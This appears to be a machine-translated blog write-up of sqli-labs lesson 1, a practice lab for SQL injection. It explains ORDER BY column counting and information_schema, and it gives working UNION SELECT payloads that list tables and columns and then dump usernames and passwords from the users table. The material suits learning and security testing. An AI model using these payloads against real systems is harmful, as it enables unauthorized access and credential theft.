当前位置:网站首页>Sqlilabs-1 (breakthrough record)
Sqlilabs-1 (breakthrough record)
2022-07-28 23:02:00 【X also total】
By default, you have mastered the process , Mainly dredge the points you haven't understood
①:order by: It means to sort , Sort the elements in the database
order by 1: Arrange according to the data in the first column
If there is no specified column, an error will be reported , Therefore, it can be used to report fields , Number of columns
②: About union select 1,2,3: Here, due to the characteristics of the database , a sheet mysql Execute the statement picture to illustrate :
therefore , If the corresponding id Make an error query , That is to say, the assignment is -1, The corresponding digital information can be echoed in the corresponding position . As for which numbers are echoed , I think it has something to do with the source code , For example, the source code of this topic , It deals with the corresponding password and username:
③: Pay attention when collecting information mysql A database comes with the high version information_schema
At the same time, there are several things to pay attention to :
Information_schema.columns: A table that records all column name information
Information_schema.tables: A table that records all table name information
Table_name: Table name
Column_name: Name
Table_schema: Database name
④: By querying the database name, we can construct payload To get more information :
Query all table names under the specified database :
Union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’security’--+
Then query all column names under the specified database :
Union select 1,group_concat(column_name),3 from information_schema.columns where table_name=’user’--+ ( Notice this quotation mark , Direct assignment and paste are not acceptable )
Derived from column names , Guess the specified column
Union select 1,group_concat(username),group_concat(password) from security.users--+
⑤: Successful entry !!!
边栏推荐
- Yolov5 improvement 7: loss function improvement
- LTE cell search process and sch/bch design
- PCA学习
- Es personal arrangement of relevant interview questions
- hp proliant dl380从U盘启动按哪个键
- One of the experience of solving problems with code error reporting: CUDA does not match pytorch
- Cglib create proxy
- Empowering Chinese core entrepreneurs! See how Moore elite solves the development problems of small and medium-sized chip Enterprises
- 《MySQL数据库进阶实战》读后感(SQL 小虚竹)
- A new paradigm of distributed deep learning programming: Global tensor
猜你喜欢

PCA学习

cannot resize variables that require grad

【雷达】基于核聚类实现雷达信号在线分选附matlab代码

《Shortening passengers’ travel time A dynamic metro train scheduling approach using deep reinforcem》

es个人整理的相关面试题
![ValueError: Using a target size (torch.Size([64])) that is different to the input size (torch.Size([](/img/c2/01dcdef191e7c932fef8f34a1c7f0a.png)
ValueError: Using a target size (torch.Size([64])) that is different to the input size (torch.Size([

简单的es高亮实战

Console.log() console display... Solution

Yolov5 improvement 5: improve the feature fusion network panet to bifpn

Improvement 13 of yolov5: replace backbone network C3 with lightweight network efficientnetv2
随机推荐
Find out the maximum value of all indicators in epoch [tips]
[3D target detection] 3dssd (II)
shell脚本基础——Shell运行原理+变量、数组定义
赋能中国芯创业者!看摩尔精英如何破解中小芯片企业发展难题
Introduction to address book export without code development platform
从 IPv4 向 IPv6 的迁移
【三维目标检测】3DSSD(二)
Submission records of frontiers Publishing House (with status changes)
投资500亿元!中芯京城正式注册成立!
PCA学习
xshell7,xftp7个人免费版官方下载,无需破解,免激活,下载即可使用
Paper reading vision gnn: an image is worth graph of nodes
2020年国内十大IC设计企业曝光!这五大产业挑战仍有待突破!
1e3是浮点数?
MySQL foundation - data query
C语言学习内容总结
No code development platform management background tutorial
A new paradigm of distributed deep learning programming: Global tensor
Improvement 18 of yolov5: the loss function is improved to alpha IOU loss function
es学习目录